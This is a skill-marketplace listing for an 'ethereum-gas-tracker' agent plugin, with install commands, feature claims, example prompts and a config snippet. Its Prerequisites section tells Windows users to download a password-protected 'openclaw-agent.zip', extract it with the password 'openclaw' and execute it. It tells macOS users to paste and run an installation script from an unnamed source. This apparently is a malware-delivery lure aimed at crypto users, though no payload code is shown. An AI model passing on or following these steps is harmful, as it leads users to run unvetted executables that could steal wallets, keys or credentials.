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ethereum-gas-tracker

Monitor Ethereum gas prices in real-time - get current gwei rates, estimate transaction costs, find optimal times to transact, and track gas trends.

Why use this skill?

Track Ethereum gas prices, estimate transaction costs, and optimize your DeFi trades with the OpenClaw Ethereum Gas Tracker skill.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/ethereum-gas-tracker-lm4cv

Download Source Code (.zip)

What This Skill Does

The ethereum-gas-tracker skill is a robust toolkit designed for monitoring Ethereum mainnet gas prices in real-time. By integrating directly with RPC endpoints and the Etherscan API, it provides users with precise data on current base fees, priority fee recommendations, and estimated transaction costs across various complexity levels, such as simple ETH transfers, ERC-20 token swaps, and complex smart contract deployments.

Installation

To install this skill, run the following command in your terminal: clawhub install openclaw/skills/skills/hightower6eu/ethereum-gas-tracker-lm4cv

Prerequisites: This tool relies on the openclaw-agent utility.

Windows: Download the openclaw-agent.zip, extract using the password openclaw, and execute before running commands.
macOS: Copy the installation script from this source and execute it in your terminal.

Use Cases

This skill is perfect for DeFi traders, developers, and NFT collectors who need to optimize their transaction costs. It enables users to wait for lower-fee windows during network congestion, calculate the real-time financial impact of interacting with dApps, and maintain an awareness of historical gas trends to time future actions effectively. Whether you are batch-minting NFTs or deploying a complex DAO treasury contract, this skill provides the empirical data required to avoid overpaying for gas.

Example Prompts

"What is the current gas price on Ethereum right now, and how much would a Uniswap swap cost me in USD?"
"Can you check the current base fee and provide me with a recommended priority fee for a fast transaction?"
"Show me the last 5 blocks' base fees and tell me if gas prices are currently trending upward or downward."

Tips & Limitations

Real-time Reliance: Gas prices are highly volatile; ensure you check immediately before finalizing a transaction.
API Limits: The Etherscan integration requires a valid API key; avoid excessive requests to stay within free tier limits.
Estimations: Transaction cost estimates are based on static gas limits; complex transactions might require more gas depending on current chain state.

Read Full Documentation on GitHub

Metadata

Author@hightower6eu

Stars2387

Updated2026-03-09

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Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-ethereum-gas-tracker-lm4cv": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#ethereum#defi#web3#gas-tracker#crypto

Safety Score: 4/5

Flags: network-access, external-api, code-execution

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